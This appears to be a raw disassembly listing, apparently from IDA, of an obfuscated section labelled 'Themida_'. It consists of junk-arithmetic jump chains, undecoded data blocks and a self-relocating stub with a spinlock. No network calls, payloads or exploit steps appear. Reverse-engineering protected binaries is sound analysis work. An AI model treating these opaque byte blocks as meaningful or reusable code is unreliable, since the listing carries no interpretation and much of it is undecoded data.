		mov	[esp], edi
		jmp	loc_55F7CC
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0E904EC83h, 0FFFF6D59h, 4C2815Ah, 50000000h
		dd 4B8h, 58C22900h, 2474FF52h, 24148B04h, 0FFF6BFE9h, 2DD8F7FFh
		dd 641BB6CBh, 8958C589h, 0D8E95DEAh, 42FFFF7Eh,	887EA81h
		dd 0D5015FFDh, 0FF4E94E9h, 5EF229FFh, 0FF57DAE9h, 33E5BFFFh
		dd 7E94140h, 66FFFF57h,	2899B252h, 5A66D3h, 0B8B551CBh
		dd 8037F580h, 0CDFE40CDh, 35ED80h, 0EB8AE9EBh, 0C89FFFFh
		dd 24136824h, 0C5E90000h, 5FFFF6Eh, 30E2B1DBh, 4EB3EA81h
		dd 0C2294F11h, 0FFF4EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FC6D:				; CODE XREF: Themida_:0055BA36j
		push	edx
		pop	ecx
		jmp	loc_55C926
; ---------------------------------------------------------------------------
		dd 0E906E8C1h, 0FFFFF303h, 8704C683h, 875C2434h, 248B2434h
		dd 66F9F624h, 66CCB60Fh, 660B9A68h, 66240C89h, 66C8B60Fh
		dd 42E99C51h, 51FFFF3Fh, 40F72B9h, 59CF0173h, 0C781DFF7h
		dd 82C65A7Bh, 0E95FFA29h, 0FFFF919Fh
; ---------------------------------------------------------------------------


loc_55FCBC:				; CODE XREF: Themida_:00559E2Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, 448E5D82h
		push	edx
		push	ebp
		push	esi
		mov	esi, 56A177AEh
		jmp	loc_55CE1B
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 9Ah
		dd 3140D972h, 0F3E95BD8h, 80FFFFA3h, 0B25260C3h, 1EA80CDh
		dd 0BEB35350h, 0DC30B0B4h, 81241C8Bh, 4C4h, 0AF48000h
		dd 0C058E220h, 0C28002EAh, 710FE9B5h, 348BFFFFh, 0E1895124h
		dd 4C181h, 1E90000h, 8FFFFF8Ah,	0C3E92404h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55FD2F:				; CODE XREF: Themida_:00556B98j
		dec	ebx
		and	ebx, 434F75EFh
		and	ebx, 300F7F49h
		jmp	loc_5596F6
; ---------------------------------------------------------------------------


loc_55FD41:				; CODE XREF: Themida_:0055DF6Ej
		push	ecx
		sub	esp, 4
		jmp	loc_554889
; ---------------------------------------------------------------------------
		dw 30BDh
		dd 0E9192502h, 0FFFFA4D1h, 6CB3F281h, 0C2813A55h, 0B8B1E7BDh
		dd 148BD629h, 4C48324h,	348BF289h, 4C48124h, 1000000h
		dd 0E1E95AD7h, 89FFFFE0h, 4E68241Ch, 8900002Fh,	33E92404h
		dd 5FFFFFACh, 5504C483h, 2C7FC7BDh, 78B95118h, 0E9774741h
		dd 0FFFFDFB8h, 52766EB9h, 766ABB0Bh, 0CB310B52h, 247E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDB1:				; CODE XREF: Themida_:0055781Ej
		neg	eax
		shr	eax, 2
		xor	eax, 5D7E697Dh
		add	ebx, eax
		jmp	loc_55A0C7
; ---------------------------------------------------------------------------


loc_55FDC2:				; CODE XREF: Themida_:0055D4A3j
		mov	ch, 10h
		jmp	loc_558CE3
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0F6h
		dd 8124B92Dh, 0ED1DDFC3h, 5BDF898Ch, 515FF901h,	0FF55B8E9h
		dd 0B75350FFh, 0F6DFF65Ah, 35C780DFh, 88FE8852h, 13E95AF4h
		dd 0BFFFFF48h, 21DE7A84h, 8580C781h, 0FB29DE21h, 241C875Fh
		dd 8924248Bh, 0E954240Ch, 0FFFFC1D2h, 4954C681h, 0F001F93Ch
		dd 7F8FE95Eh, 2C8BFFFFh, 4C48324h, 435FF781h, 0F83105D6h
		dd 0E9243C8Bh, 0FFFFDFEEh, 4E3F35BAh, 5AD02913h, 4C852D5Bh
		dd 372D15F0h, 159CC7Dh,	0D956E9D8h, 8B66FFFFh, 0E9562404h
		dd 0FFFF9151h, 8CBE5650h, 8151ED38h, 157862C6h,	0FCF6814Eh
		dd 89B926F5h, 71355EF0h, 0E9028A6Ah, 0FFFF71F2h, 57E468h
		dd 24348900h, 0C681E689h, 4, 0FF8324E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE91:				; CODE XREF: Themida_:0055E456j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B7C5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BEE92434h, 81FFFF9Ah, 4C4h,	4EC8100h, 89000000h, 9BBD242Ch
		dd 5635C105h, 0E270D7BEh, 5EF5215Dh, 6FBCF581h,	0A2E92B90h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FECF:				; CODE XREF: Themida_:00554205j
		or	edx, 341B5A62h
		shl	edx, 1
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, 6A76B6D7h
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_55B60D
; ---------------------------------------------------------------------------
		dd 6ACDBF57h, 0F801DFEBh, 58C1895Fh, 0FF8E8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FF1D:				; CODE XREF: Themida_:0055C9AEj
		xor	ecx, ebp
		pop	ebp
		add	ebp, ecx
		jmp	loc_5583E0
; ---------------------------------------------------------------------------


loc_55FF27:				; CODE XREF: Themida_:005572F7j
		xor	ecx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 56001F17h
		add	eax, 173A2CCCh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_555AD5
; ---------------------------------------------------------------------------


loc_55FF4D:				; CODE XREF: Themida_:0055AFCFj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_553F94
; ---------------------------------------------------------------------------
		db 57h
		dd 6F04A3BFh, 69BB5337h, 9309954h, 0E9565BDFh, 0FFFFD8CFh
		dd 24048B66h, 2C8B5455h, 4C48324h, 76EAE956h, 0C783FFFFh
		dd 243C8702h, 6624248Bh, 9C242CD3h, 0FF3C50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FF95:				; CODE XREF: Themida_:0055B077j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5602C7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9EE92434h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFA7:				; CODE XREF: Themida_:0055EB9Ej
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55F547
; ---------------------------------------------------------------------------
		dw 74FFh
dword_55FFC8	dd 0E9590424h, 0FFFF4C12h, 240C8B66h, 7D1468h, 24148900h
		dd 78685A54h, 0E9000048h, 0FFFF769Ah, 90914BDh,	10ED811Fh
		dd 0E91F0909h, 0FFFF4900h, 0E9DA0159h, 0FFFF7723h, 4B8h
		dd 58C30100h, 2474FF53h, 241C8B04h, 8F04C483h, 835C2404h
		dd 34FF04C4h, 0DBE95924h, 8BFFFF8Dh, 5EE92424h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56002B:				; CODE XREF: Themida_:0055B756j
		pop	ebp
		pop	edx
		push	esi
		mov	esi, 5BE8493Dh
		xor	esi, 6BE77325h
		add	esi, 45BE3EF3h
		jmp	loc_55D214
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFBD13h, 48BC389h, 4C48124h, 55000000h
		dd 0D73415BDh, 7DF5812Ah, 0E90C512Ah, 0FFFF5CADh, 2EC38059h
		dd 52B0C380h, 53C58851h, 4EC81h, 14890000h, 674DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560082:				; CODE XREF: Themida_:0055FB47j
		xor	esi, 48816E18h
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_5581AB
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0C7835EF7h, 0CFE95704h, 81FFFF8Dh,	33597CC3h
		dd 0F929E942h, 835AFFFFh, 0C8904ECh, 0BA54E924h, 8166FFFFh
		dd 0E92CEAEBh, 0FFFFF849h
; ---------------------------------------------------------------------------


loc_5600C4:				; CODE XREF: Themida_:0055C511j
		pop	eax
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55403C
; ---------------------------------------------------------------------------


loc_5600D0:				; CODE XREF: Themida_:0055DF1Fj
		push	edx
		mov	edx, 3B0531A8h
		or	esi, edx
		pop	edx
		jmp	loc_55A642
; ---------------------------------------------------------------------------
		dw 0B9B8h
		dd 0E92F842Dh, 0FFFFFE24h, 42474FFh, 5D0FE958h,	248BFFFFh
		dd 0B60F6624h, 152B68C8h, 3C890000h, 1AE95424h,	5AFFFF79h
		dd 617C381h, 0B6E92091h, 5FFFFFFCh, 0E9E28952h,	200h, 6624248Bh
		dd 2404A30Fh, 0EBA8E99Ch, 8166FFFFh, 0F1BD3EBh,	14E9C0B7h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560137:				; CODE XREF: Themida_:0055D52Ej
		push	eax
		jmp	loc_5590F9
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 4Dh
		dd 1F05660Ah, 8C8CE960h, 0F381FFFFh, 44563E71h,	1C5F2158h
		dd 57241C8Bh, 4EC81h, 24890000h, 24048124h, 4, 81243C8Bh
		dd 4C4h, 0B776E900h, 0EA81FFFFh, 4, 0FF58D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560181:				; CODE XREF: Themida_:0055B51Aj
		mov	ebx, 24F11D7Dh
		jmp	loc_55B4EE
; ---------------------------------------------------------------------------


loc_56018B:				; CODE XREF: Themida_:00553F97j
		shr	ecx, 2
		jmp	loc_558BAD
; ---------------------------------------------------------------------------
		db 68h
		dd 73C0h, 0E9241489h, 0FFFF6658h
; ---------------------------------------------------------------------------


loc_5601A0:				; CODE XREF: Themida_:0055F1F9j
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, 5BCE62C0h
		jmp	loc_555455
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 5DE80100h, 0FFBF5DE9h,	5AF681FFh, 810DD7D4h, 5C4454C5h
		dd 81F50176h, 5C4454EDh, 0ED815E76h, 4,	8B242C87h, 9BE92424h
		dd 89FFFF69h, 0EC812414h, 4, 89C0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56021A:				; CODE XREF: Themida_:0055AAAFj
		push	ecx
		mov	ecx, 4C9336F3h
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 34FA3CE3h
		push	ebp
		push	1D3223FAh
		jmp	loc_55EC4D
; ---------------------------------------------------------------------------


loc_56023C:				; CODE XREF: Themida_:00557392j
		add	dword ptr [edx], 1
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_556D12
; ---------------------------------------------------------------------------
		dd 6DA2EE81h, 0FF5660B3h, 0F75E240Ch, 6AE681D6h, 8149813Fh
		dd 800F9EF6h, 3688056Dh, 0DBE952B1h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560277:				; CODE XREF: Themida_:0055ECBBj
		mov	ebp, 37FD089Ch
		jmp	loc_55F73A
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0A3h
		dd 8008E2C0h, 0D000C3F2h, 525B665Ah, 0CAFE32B2h, 5303E2C0h
		dd 0FF6006E9h, 249D04FFh, 306234C4h, 0C98058C1h, 6AC9E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5602AE:				; CODE XREF: Themida_:00556D1Aj
		mov	ebp, 26361B2Ah
		add	esi, ebp
		pop	ebp
		add	esi, ebx
		sub	esi, 26361B2Ah
		pop	ebx
		add	esi, 4
		jmp	loc_55D7F8
; ---------------------------------------------------------------------------


loc_5602C7:				; CODE XREF: Themida_:0055FF9Aj
		push	edi
		mov	edi, 20065F43h
		add	edi, 0DFF9A0C1h
		jmp	loc_55DFB5
; ---------------------------------------------------------------------------
		dd 0C6BD555Bh, 8173BD4Dh, 0B45FC6F5h, 0E9EB0934h, 0FFFF74BAh
		dd 8061B353h, 0E38048C3h, 0E9DBF670h, 0FFFFB00Ah
; ---------------------------------------------------------------------------


loc_5602FC:				; CODE XREF: Themida_:0055DA31j
		sub	ebx, 57AF3AE4h
		jmp	loc_55552A
; ---------------------------------------------------------------------------
		db 0FEh
		dd 5FEE80C6h, 0FFA057E9h, 0D8EA81FFh, 0E921C262h, 0FFFFDB3Ah
		dd 4C281h, 4BE90000h, 81FFFF89h, 0BC68DCF1h, 59C80175h
		dd 2284C281h, 0C2811B55h, 0C2016EDh, 0EA81C201h, 0C2016EDh
		dd 0CF7CE953h, 77FFFFFFh, 59669D1Ch, 2414D366h,	388BE99Ch
		dd 0BD55FFFFh, 4, 6F6AC281h, 7DE95DEFh
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56036B:				; CODE XREF: Themida_:0055E100j
		pop	ecx
		jmp	loc_55C37E
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 9Dh
		dd 8007E9C0h, 0B0E9AAE9h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56037F:				; CODE XREF: Themida_:0055E58Ej
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2C845634h
		xor	eax, ebp
		jmp	loc_5558B9
; ---------------------------------------------------------------------------
		db 29h
		dd 32E92404h, 68FFFFB7h, 6596h,	0FF9120E9h, 243487FFh
		dd 2414895Ch, 0F18869B6h, 0E953525Ah, 0FFFF5120h, 516104ACh
		dd 0B35AE953h, 4401FFFFh, 48B0424h, 45A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5603CA:				; CODE XREF: Themida_:0055C5AFj
		push	edx
		jmp	loc_557190
; ---------------------------------------------------------------------------
		dd 0F87B951h, 7DBF0E38h, 1F1C7F0h, 240C8BCFh, 0FFD6D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5603E5:				; CODE XREF: Themida_:0055AE9Fj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554EF8
; ---------------------------------------------------------------------------
		dd offset byte_5BD425
		dd offset byte_5C2CAB
		dw 0BD74h
		dd 9C00FA2Ah, 0BBC0000h, 1BE9005Bh, 9C000000h, 2030000h
		dd 20000h, 10000h, 30000h, 0BD740000h, 0FA2Ah, 4 dup(0)
		dd 4250000h, 15960057h,	0AC930056h, 0B87C0056h,	74FA0056h
		dd 0FDB60056h, 7210056h, 5A720057h, 53690056h, 0B28A0056h
		dd 2EAA0056h, 60C50056h, 0B3560057h, 0AB7D0056h, 3DD40056h
		dd 45EA0057h, 9A920056h, 725C0056h, 7DF0056h, 0DD780057h
		dd 37C60056h, 519C0057h, 1E8F0057h, 0D3C90057h,	396D0056h
		dd 49CE0056h, 13450057h, 5EEC0057h, 0F0070057h,	21A0056h
		dd 0DF600057h, 7D50056h, 0B690056h, 85AF0057h, 3B3D0056h
		dd 0C4040057h, 0E3CE0056h, 0C37B0056h, 21200056h, 45060057h
		dd 0DE9B0056h, 0E7DF0056h, 6A740056h, 0A6250056h, 0F5AD0056h
		dd 0C120056h, 0C9B20057h, 0DCD10056h, 0FFE00056h, 5DF90056h
		dd 4A5C0056h, 90910057h, 772E0056h, 28760056h, 587B0057h
		dd 12270057h, 54870056h, 828B0056h, 98BA0056h, 2BDB0056h
		dd 47720056h, 0F0A60057h, 58210056h, 8C950056h,	2A480056h
		dd 7BE70057h, 0C4CD0056h, 1E5B0056h, 11B0056h, 55640057h
		dd 46910056h, 1CE40056h, 6DBF0056h, 0A9950056h,	0C1010056h
		dd 3AB70056h, 0E6940057h, 50600056h, 80640057h,	94BD0056h
		dd 620B0056h, 79DB0056h, 80F80056h, 30050056h, 79180056h
		dd 30180056h, 0F9F00057h, 5910056h, 42720057h, 0D3020056h
		dd 0D0790056h, 0A9A00056h, 98D20056h, 5CD40056h, 5F790057h
		dd 59BE0057h, 37E30057h, 0ACEF0057h, 511E0056h,	544E0056h
		dd 4D680056h, 86730056h, 2F060056h, 99B60056h, 0F20F0056h
		dd 9F240056h, 150B0056h, 46890057h, 37B70056h, 7C030057h
		dd 71AE0056h, 1F730056h, 0FC630056h, 47200056h,	0AC600056h
		dd 9CDF0056h, 639F0056h, 62640056h, 77B70056h, 841C0056h
		dd 0E8D0056h, 30520056h, 2F2E0057h, 1AF30056h, 32170056h
		dd 0F4090056h, 47330056h, 0F1D00056h, 1AB40056h, 5FD00057h
		dd 0B5CC0056h, 4B0C0056h, 0A140056h, 0E1960057h, 51C90056h
		dd 2EBF0056h, 23B60057h, 7F980057h, 0A840056h, 21750056h
		dd 368E0057h, 178D0057h, 5CB30056h, 1A7A0057h, 427A0057h
		dd 59E20056h, 2B860056h, 3A920056h, 6AA00057h, 0D8450056h
		dd 91FE0056h, 5A6D0056h, 0AB10057h, 8EE30057h, 0C1240056h
		dd 0CE9D0056h, 3E4D0056h, 0D3D40057h, 84910056h, 7760056h
		dd 543E0057h, 2EDB0056h, 230E0057h, 2A4E0057h, 0DD140056h
		dd 6A300056h, 0AA8D0056h
		db 56h,	0
; ---------------------------------------------------------------------------


loc_5606CE:				; CODE XREF: Themida_:005A5183j
					; Themida_:005AB4B4j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62B4962h
		mov	eax, edi
		add	edi, 62B467Ah
		cmp	eax, [edi+2Ch]
		jnz	short loc_5606EC
		jmp	short loc_5606FF
; ---------------------------------------------------------------------------


loc_5606EC:				; CODE XREF: Themida_:005606E8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5606FB
; ---------------------------------------------------------------------------


loc_5606F6:				; CODE XREF: Themida_:005606FDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5606FB:				; CODE XREF: Themida_:005606F4j
		or	ecx, ecx
		jnz	short loc_5606F6


loc_5606FF:				; CODE XREF: Themida_:005606EAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_56070C:				; CODE XREF: Themida_:00560713j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_56070C


loc_560715:				; CODE XREF: Themida_:0056092Dj
					; Themida_:loc_5612D4j	...
		lodsb
		push	7234h
		jmp	loc_56CBE4
; ---------------------------------------------------------------------------
a1S_q		db '1Âé_ï',0
		db 0
; ---------------------------------------------------------------------------


loc_560727:				; CODE XREF: Themida_:0056B6BFj
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_571244
; ---------------------------------------------------------------------------
		db 87h
		dd 228E9DAh, 680001h, 81000000h, 6FAA2404h, 34292E5Fh
		dd 242C8124h, 2E5F6FAAh, 81DEF75Eh, 0FB7106F6h,	0D8BF571Dh
		dd 1A41BD7h, 58FFE9FEh,	0E6C10001h, 0C68102h, 89D75373h
		dd 24348BF3h, 150A3E9h,	54BB5300h, 814DD300h, 971BBAE9h
		dd 498DE90Ch, 0E95F0000h, 1822h, 0FFFF80E9h, 5B0204FFh
		dd 38C768h, 241C8900h, 6B2C68h,	4104E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607AA:				; CODE XREF: Themida_:005736E4j
		and	esi, ebx
		pop	ebx
		xor	esi, 33E124BEh
		xor	esi, 33C978FEh
		add	ecx, esi
		jmp	loc_566497
; ---------------------------------------------------------------------------
		dd 4D2CEAB8h, 1D2CE946h, 5D500000h, 95D0F758h, 0DA20E9h
		dd 0B951AD00h, 154453C2h, 10047E9h, 4C015A00h, 44810424h
		dd 74FC0424h, 34FF1202h, 0C4815924h, 4,	0FFFF18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5607FD:				; CODE XREF: Themida_:0056B62Aj
		pop	esp
		add	esp, 4
		jmp	loc_562ACD
; ---------------------------------------------------------------------------


loc_560809:				; CODE XREF: Themida_:0056501Fj
		neg	eax
		push	ecx
		mov	ecx, 0B8EFC009h
		jmp	loc_568F16
; ---------------------------------------------------------------------------
aS_6		db ')ßé, ',0
		dd 5BD88900h, 0B1E2E9h,	0E9E80100h, 5427h, 5C242C87h, 4EC81h
		dd 14890000h, 546D6824h, 34FF492Ch, 2434FF24h, 4C4815Ah
		dd 0E9000000h, 46EEh, 4EC835Fh,	7B0CE9h, 4C38300h, 5C241C87h
		dd 9711E9h
		db 0
; ---------------------------------------------------------------------------


loc_560865:				; CODE XREF: Themida_:0056C155j
		shl	ebp, 5
		push	19CEh
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, 22C4428Fh
		xor	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 3AFE1E27h
		dec	ebx
		sub	ebx, 0F794B520h
		add	ebp, 74611C4Ah
		add	ebp, ebx
		sub	ebp, 74611C4Ah
		jmp	loc_5690DE
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 6624248Bh, 664B922Dh, 5266E801h, 15499E9h
		db 0
; ---------------------------------------------------------------------------


loc_5608B1:				; CODE XREF: Themida_:005740B0j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561673
; ---------------------------------------------------------------------------
		db 80h,	0E6h, 0C6h
		dd 80C1EE80h, 0EEC01ACEh, 3BA4E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608CE:				; CODE XREF: Themida_:00564F87j
		shr	eax, 4
		sub	esp, 4
		jmp	loc_56CCE0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 87D1h
; ---------------------------------------------------------------------------


loc_5608E4:				; CODE XREF: Themida_:00572A0Dj
		pop	ecx
		sub	bh, 12h
		jmp	loc_57471F
; ---------------------------------------------------------------------------
		db 53h,	50h, 0B0h
		dd 58C38887h, 1C8BDA88h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 8024248Bh, 0EA8025EAh, 0ACB35301h, 1C8BDA30h
		dd 4C48324h, 0E942C280h, 42B9h,	7E31E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56092A:				; CODE XREF: Themida_:0056B1E1j
		add	esp, 4
		jmp	loc_560715
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 2EDC090h, 0C045B652h, 0E6C007EEh, 0A435E905h, 0E0890000h
		dd 405h, 40500h, 4870000h, 0BE565C24h, 57B37CF2h, 31CE3146h
		dd 0F7CE31F1h, 81CE87D1h, 4C8308F6h, 5EF729A8h,	5C243C87h
		dd 0E9240489h, 1975h, 5704C483h, 3C1EC2BFh, 2EE4E90Eh
		dd 28590000h, 0E95352C3h, 14C55h
; ---------------------------------------------------------------------------


loc_560994:				; CODE XREF: Themida_:0057535Aj
		sub	edi, 768A5E42h
		jmp	loc_5639C6
; ---------------------------------------------------------------------------
		db 0BAh
		dd 258469B4h, 3804C281h, 0F2812657h, 2ED995Fh, 525AD729h
		dd 0E04AEABAh, 0E9D7094Dh, 1E1Ch, 0FFFD50E9h, 243489FFh
		dd 4EC8153h, 89000000h,	47682404h, 58607D1Ch, 4182BE56h
		dd 0EE810699h, 5D0A2D1Ah, 2430E681h, 504E75D3h,	665C3CB8h
		dd 58C60121h, 0C44B4805h, 0FDABE916h, 3C890000h, 2A61BF24h
		dd 0E2E939EBh, 680000F0h, 36DFh, 0FF243489h, 5E042474h
		dd 8B24048Fh, 3BE92424h
		db 0Dh,	1, 0
; ---------------------------------------------------------------------------


loc_560A23:				; CODE XREF: Themida_:00567E04j
		and	edi, 4D1A12E2h
		add	edi, 18DA3EF4h
		push	ecx
		mov	ecx, 541D6996h
		xor	ecx, 292F0A52h
		xor	edi, ecx
		pop	ecx
		add	ebp, 6DE21459h
		sub	ebp, edi
		sub	ebp, 6DE21459h
		jmp	loc_573BC3
; ---------------------------------------------------------------------------
		db 0BBh, 6Fh, 42h
		dd 0EB816E65h, 0F340999h, 0D721C381h, 0D931E10Ch, 3CD3E95Bh
		dd 50530000h, 55FF868h,	8D35581Bh, 681BD14Dh, 6142h, 0E9240489h
		dd 473Fh, 240C8B66h, 57BF68h, 243C8900h, 6855E789h, 2118h
		dd 141BFE9h, 5EF58900h,	4C16792Dh, 5E8017Ah, 7A4C1679h
		dd 967FE95Dh, 34890000h, 96C7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560ABA:				; CODE XREF: Themida_:00567C4Fj
		mov	[esp], edx
		mov	edx, 7B811835h
		add	eax, edx
		pop	edx
		jmp	loc_568003
; ---------------------------------------------------------------------------
		dw 0F181h
aAkSk		db 'íK¼-éK&',0
		dd 4BB00h, 5C010000h, 0FF5B0424h, 8E92434h, 830000EAh
		dd 0DAE904ECh, 0F7000039h, 8F1AE9D7h, 8B5E0000h, 0C483243Ch
		dd 0BEEA8104h, 97F785Bh, 0E95A1C57h, 0FFFFFC09h, 54243C89h
		dd 83243C8Bh, 0BD5504C4h, 4, 0E95DEF01h, 2EFDh,	0BEAEE81h
		dd 515F1BB3h, 4B9h, 0FFCE2900h,	83592434h, 348704C4h, 0DE95C24h
		dd 5A0000D9h, 6859E828h, 62EBh,	8770E9h, 56FA0100h, 503A27BEh
		dd 0C6EDE969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560B5E:				; CODE XREF: Themida_:0056AF88j
		add	edx, 18505E4Ah
		push	ecx
		mov	ecx, 0B214592h
		jmp	loc_566BC1
; ---------------------------------------------------------------------------
		db 0BEh
		dd 68D24C7Dh, 4DE9EE29h, 3300013Eh, 3C31243Ch, 243C3324h
		dd 0D324248Bh, 0E99C2404h, 0FFFFFB85h, 510EA3BBh, 0FFEB8114h
		dd 50FFFFFFh, 0A572DEB8h, 64382D72h, 0C3315E54h, 8BD90158h
		dd 0C481241Ch, 4, 31240C33h, 0DBE9240Ch, 50000131h, 4055854h
		dd 5000000h, 4,	5C240487h, 359BE9h, 0FEBF5700h,	815E1D6Eh
		dd 0B10418C7h, 81DFF75Ah, 219AC6F7h, 0D5C7811Ah, 4762A342h
		dd 689CF781h, 0F829B247h, 4B51055Fh, 30E93139h,	3500011Eh
		dd 771C2A87h, 7D1BF57h,	0F80158A5h, 3EC82D5Fh, 0E0C12673h
		dd 58354005h, 8132A6F7h, 160E42EFh, 13FFE91Ch, 34870000h
		dd 0B9515C24h, 441A0BF6h, 3462E981h, 0BF5762DCh, 2CE7B7Ah
		dd 0C101EF83h, 0EA6808EFh, 89000022h, 36BE2434h, 811BEB7Ch
		dd 0D41933F6h, 3EEC165h, 4D9EB951h, 0D9F75410h,	57E9C181h
		dd 0EE81630Dh, 1E624183h, 0C681CE01h, 1E624183h, 7764E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C7D:				; CODE XREF: Themida_:0056A8B4j
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_5638FC
; ---------------------------------------------------------------------------


loc_560C86:				; CODE XREF: Themida_:0056B52Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ebp
		shr	eax, 5
		dec	eax
		or	eax, 32065D71h
		push	esi
		mov	esi, 4BA112FEh
		and	esi, 19994969h
		push	ebp
		mov	ebp, 46736277h
		sub	esi, ebp
		pop	ebp
		neg	esi
		inc	esi
		push	27EFh
		mov	[esp], edx
		jmp	loc_56149A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 7171E9h, 4EC8300h, 68240489h, 6E5E10B9h, 8324048Bh
		dd 253504C4h, 0E918A442h, 5FF0h
; ---------------------------------------------------------------------------


loc_560CE8:				; CODE XREF: Themida_:00571008j
		push	ax
		mov	ah, 68h
		add	bl, 4Fh
		add	bl, ah
		sub	bl, 4Fh
		pop	ax
		jmp	loc_56BA38
; ---------------------------------------------------------------------------
		db 81h
		dd 0B2597FF3h, 81D3F733h, 0C172BBC3h, 5BDE01EAh, 0DEC7E9h
		db 0
; ---------------------------------------------------------------------------


loc_560D11:				; CODE XREF: Themida_:00572C86j
		xor	edi, ebx
		jmp	loc_5708D1
; ---------------------------------------------------------------------------
		dd 1C8BDD01h, 4C48124h,	21000000h, 2434FFEAh, 0D6E7E95Dh
		dd 0F1810000h, 8DFDDE25h, 9465B9BBh, 59CB01B1h,	393DEB81h
		dd 0CB290232h, 2E22E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560D4A:				; CODE XREF: Themida_:00565181j
		or	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2FB1A3F7h
		xor	edi, edx
		pop	edx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_568785
		push	4E46h
		mov	[esp], ebx
		jmp	loc_5626BF
; ---------------------------------------------------------------------------
		dw 28BBh
		dd 89559945h, 241C8BDEh, 4C481h, 0F7290000h, 17F3E95Eh
		dd 0EB010001h, 0F8DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560D96:				; CODE XREF: Themida_:00565857j
		mov	cl, 0D8h
